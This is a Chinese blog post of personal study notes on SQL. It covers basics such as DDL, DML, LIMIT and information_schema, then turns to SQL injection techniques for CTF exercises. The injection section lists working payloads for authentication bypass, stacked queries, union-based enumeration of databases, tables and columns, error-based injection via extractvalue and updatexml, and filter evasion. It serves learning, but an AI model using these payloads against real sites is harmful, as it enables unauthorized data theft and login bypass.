SQL

系统地学习一下sql

 

  • DBMS——数据库管理系统(database management system)
  • 数据库中也有对象,而数据库的对象就是——表格。
  • 表格由行和列组成,其中 行又称为记录  列又称为字段
  • DDL(数据定义语言)

        数据定义语言用于改变数据库结构,包括创建、更改和删除数据库对象。用于操纵表结构的数据定义语言命令有:

    • CREATE TABLE-- 创建(在数据库中创建新表、表视图或其他对象)
    • ALTER TABLE-- 更改 (修改现有的数据库对象,如表)
    • DROP TABLE-- 删除  (删除数据库中的整个表、表或其他对象的视图)

    DML(数据操纵语言)

        数据操纵语言用于检索、插入和修改数据,数据操纵语言是最常见的SQL命令。

        数据操纵语言命令包括:

    • INSERT-- 插入 (创建记录)
    • DELETE-- 删除 (删除记录)
    • UPDATE-- 修改(修改记录)
    • SELECT -- 检索 (从一个或多个表检索某些记录)

    DCL(数据控制语言)

        数据控制语言为用户提供权限控制命令。

        用于权限控制的命令有:

    • GRANT-- 授予权限
    • REVOKE-- 撤销已授予的权限 
  • 主键 选择一列成为主键,主键列不能有NULL(空值),每个值都必须不同。
  • 约束。 约束指的是在列上或在表上强行执行的规则,可以限制进入表格内的数据,确保数据的准确及可靠,不会出现一些奇怪的数据。
  • 表中不会出现重复的行。
  • SQL 语法规则


    • SQL语句总是以关键字开始,如SELECT、INSERT、UPDATE、DELETE、DROP、CREATE。
    • SQL语句以分号结尾。
    • SQL不区分大小写,意味着update与UPDATE相同。
  • SQL在文本值周围使用单引号(大多数数据库系统也接受双引号)。如果是数值字段,则不要使用引号。 如: country=‘China’;  id=1;

  • 注意:表名为数字时,要用反引号(反引号是指数字1左边的英文字符``,而不是单引号'',两个很容易混淆)包起来查询。 表名为字符时不需要 如:1'; show columns from '1919810931114514';#
  • ALTER TABLE words CHANGE flag id varchar(50) 可以改变words表里的的flag字段的名字,改成id,后面跟着的是数据类型。
  • varchar()指的是可变长度的字符串。
  • LIMIT 语句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

    双参数:limit (偏移到哪个位置,往下数几个)

如:

取出点击量前三名到第五名的商品

SELECT goods_id,cat_id,goods_name,click_count

FROM goods

ORDER BY click_count DESC LIMIT 2,3;

  • order by 是用来规定以哪一列进行排序的

 

 

information_schema 是 mysql 自带的库,这个库保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

table_schema 指的是表所对应的库

 

 

 

 注入类型:

1、堆叠注入,多条sql语句一起执行。(不是很理解有啥用)

样例:1';show databases;# ——爆数据库  

   1';show tables;# ——爆表

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据。仅可在mysql中使用。

语法:HANDLER tbl_name OPEN打开一张表

      HANDLER tbl_name READ FIRST获取表中的第一行,修改 FIRST 为 NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

   HANDLER tbl_name CLOSE来关闭

 

2、最基础:

1’ or 1=1#  万能密码登录

1‘ or 1=1 union select 1,2,3 #  判断能回显的字段个数

接下去就是爆库,爆表,爆字段,爆值

 

1’ or 1=1 union select 1,database(),3 #  爆库  (这样只能爆出来一个库)

想全部爆出来应该用 1’ or 1=1 union select 1,schema_name,3 from information_schema.schemata #  当情况允许时,show databases() 与其等价

1’ or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“web2” #  <<=特定的库名  爆表

1’ or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“flag”#  <<=特定的表名  爆字段  这里爆出所有字段

1’ or 1=1 union select 1,2,3,字段 from 表名; #   这里爆特定的字段里的值

 

 3、数字型判断:

当输入的参数 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1and 1=2 来判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    1. Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1 

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2' 

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

4、字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1and '1'='2来判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
    1. Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:
当输入 and '1'='1时,后台执行 Sql 语句:

 select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

 

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。

 

5、报错注入:
两个函数: 1)extractvalue

语句:  extractvalue(null,concat(sql injection),0x7e))  非法传参,让后台xml故意报错。

0x7e 指的是 ~

      2)updatexml

语句:1=(updatexml(1,concat(0x7e,(sql_injection)),1))

 

6、盲注

包括布尔盲注和时间盲注(时间盲注不常用)

不用脚本跑还是直接放弃算了,一个个手打去试直接试到明年。

附一个python脚本:盲注python脚本 - heartbeat111 - 博客园 (cnblogs.com)

 

7、联合注入

在联合注入时,当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

如输入    'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#  时

用户名是admin的账号,它所对应的密码就不需要知道了,只用输入e10adc3949ba59abbe56e057f20f883e解密后的结果即可登录。(此处是123456的md5加密)

换句话说,可以随便输入密码,在查询时查询其加密后结果即可。

 

两个函数都只能显示32个字符,可能会使flag显示不全。此时可以用left(*,number),right()函数  第二个参数用于设置回显字符数,第一个参数是回显的数据名称

当遇到让你输入用户名,密码的界面时,可用

/check.php?username=admin&password=pwd ' union select 1,2,group_concat(flag) from (ctf.Flag)#

标绿部分是题目给的格式,?表示输入参数,&表示同时传输两个参数。    标蓝部分是我们写的payload      ctf.Flag 表示从ctf库下的Flag表里显示字段名为flag的字段里的内容。

()可以代替空格 如若要输入select * from users 可写成 select(*)from(users)
?username=admin&password=admin‘^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=’geek‘))))%23

 like 可以代替等号

posted @   heartbeat111  阅读(170)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示